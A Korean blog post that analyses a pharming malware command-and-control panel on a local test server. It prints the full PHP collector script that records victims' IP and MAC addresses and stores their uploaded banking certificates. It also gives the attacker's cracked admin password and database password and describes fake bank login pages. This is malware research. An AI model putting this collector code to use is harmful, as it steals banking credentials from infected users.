파밍 악성코드 C&C 서버 관리자 페이지 알아보기

apmsetup 7을 이용해 간단히 디비와 아파치, php7버전을 설치 후 테스트를 해본다.

이전에는 더 구형이 있었고 해당 구형은 php5에서 돌아가는걸로 기억하는데 찾아보고 한번 더 써보는걸로 해야겠다.

가장 최근에 남겨놓은 2017년 06일자 C&C 관리자 페이지 플랫폼이다.

파밍 악성코드 감염자 관리페이지

악성코드 공격 후 파밍에 감염된 사람들을 보고 관리할 수 있도록 만들어져 있다.

파밍악성코드에 ca.php로 전달돼는 파라미터들이 전부 C&C로 전송돼어 정보를 디비에 담는걸로 돼어있다.

 

역시 디비를 필요로 한다. 디비와 테이블을 구축해준다
웹이 참조하고있는 ../inc/lib.php에 sql 내용 수정
비밀번호가 md5로 해시화 되어있다.

해당 디비 구조는 sql로 덤프된 파일이 포함되어있어 간단히 import해주면 됬다.

공격자도 사람인지라 귀찮은가보다.

 

해당 해시는 "e9dd99189ea24cf7b2ce2cbca5ea65f6" 구글에 MD5 시트검색해보니 qwqw1212라 나오더라

얘네는 예전부터 변하는게 별로없다.

손쉽게 로그인된 모습을 볼 수 있다.

config.inc파일 또한 수정해본다.

Mysql 비밀번호를 내것으로 변경! 원래는 "eoqkr1122"였다.
디비로드 결과.. 많은 피해자들이 있다.

공인인증서는 파밍 악성코드에서 request하여 ca.php에 맥어드레스와 공인인증서가 전송된다.

이미지 출처 : https://inspecting.tistory.com/11

파라미터마다 다르게 받도록 코딩되어 있는데, 아래 전체코드를 참고해보도록 하자

<?php
$r='../zswj';//证书文件夹路径
if(!is_dir($r))mkdir($r,0777);
$ip=$_SERVER["REMOTE_ADDR"];
if(isset($_GET['m'])){
include 'test.php';
//$ip=$_SERVER["REMOTE_ADDR"];
$mac=$_GET["m"];
$mac=base64_decode(hexToStr($mac));
if(strstr($mac,"-")=="")exit;
//if(strpos($mac,":"))$mac_=str_replace(":", "", $mac);
$mac_=str_replace("-", "", $mac);
if(strlen($mac_)!=12) exit;
if(ctype_alnum($mac_)!=1) exit;
if(isset($_GET['h']))$area=$_GET['h'];
if(is_numeric($area)!=1) exit;
$os=getOS();
date_default_timezone_set('PRC');
$date = date("Y-m-d");
$time = date("H:i:s");
$pdo = new PDO("sqlite:tj_db.db");
$s="SELECT *  FROM `count` WHERE `ip` = '".$ip."'";
$con = $pdo->query($s);
$ca = $con->fetchALL();
$con = $pdo->query($s);
$ca_ = $con->fetch();
if(count($ca) == 1){
$_ip = $ca_['ip'];
$_os = $ca_['os'];
$_mac = $ca_['mac'];
$_date = $ca_['date'];
$_time = $ca_['time'];
$_date_ = $ca_['date_'];
$_time_ = $ca_['time_'];
$_area = $ca_['area'];
if($date==$_date)exit;
$sql = "UPDATE `count` SET `date_` = '".$date."' WHERE `count`.`ip` = '".$_ip."' AND `count`.`mac` = '".$_mac."' AND `count`.`os` = '".$_os."' AND `count`.`date` = '".$_date."' AND `count`.`time` = '".$_time."' AND `count`.`date_` = '".$_date_."' AND `count`.`time_` = '".$_time_."' AND `count`.`area` = '".$_area."';";
$count = $pdo->exec($sql);
echo "yes";////////////
echo $count;///////////
}
else{
$sql = "INSERT INTO `count` (`ip`, `mac`, `os`, `date`, `time`, `date_`, `time_`, `area`) VALUES ('".$ip."', '".$mac."', '".$os."', '".$date."','".$time."','".$date."','".$time."','".$area."')";
$count = $pdo->exec($sql);
echo "good";/////////////////
echo $count;////////////
}
exit();
}
if(isset($_GET['p'])){
$rou=$r."/".$ip;
if(!is_dir($rou))mkdir($rou,0777);
$rou=$rou."/".date("YmdHis").".zip";
$data =  $GLOBALS[HTTP_RAW_POST_DATA];
    if(empty($data)) $data = file_get_contents('php://input');
$file = fopen($rou,"w");
fwrite($file,$data);
fclose($file);
}
?>

Get방식으로 m에는 base64로 구성된 내용인 것을 알 수 있다.

h변수의 내용을 풀면 날짜, 시간, os정보, 네트워크 정보등이 담겨있을 것 이다.

마지막으로 p변수에 공인인증서가 zip로 묶여 업로드되는것을 볼 수 있다.

(구)신한은행 웹 페이지 파밍 페이지이다.
가짜정보를 넣고 확인을 눌러본다
조금 허술해보이는 결과페이지, 보안카드 체크후 확인
대충 입력 후 확인을 누르면...
로컬에서 해서그런지 이렇게 뜬다.. 가끔 이렇게 뜨는데...
디비에는 정상 입력
관리자 페이지에서도 정상적으로 보인다

파밍에 감염 후 아래와 같은 사이트에 접근하면 해당 사이트는 신한은행 파밍사이트처럼 보이게된다.

무엇을 누르든 같은 결과....

사람들이 흔히 들어갈만한 곳으로 있다.

네이버 폴더에는 오랫만에 볼 수 있는 플로팅 배너가 있다

파밍은 몰라도 이것은 아는것...

해당 관리자 페이지에 대한 소스는 악용의 소지가 있어 공유를 함부로 할 수 없을 것 같다.

 

덧글이라도 남겨지면 공유해봄직하다.

 

다음에는 다른 종류의 페이지를 알아보도록 하자

 

파밍이 활발할 당시.. 스크립트가 일을 조금 잘해줬다.

  • 네이버 블로그 공유
  • 네이버 밴드 공유
  • 페이스북 공유
  • 카카오스토리 공유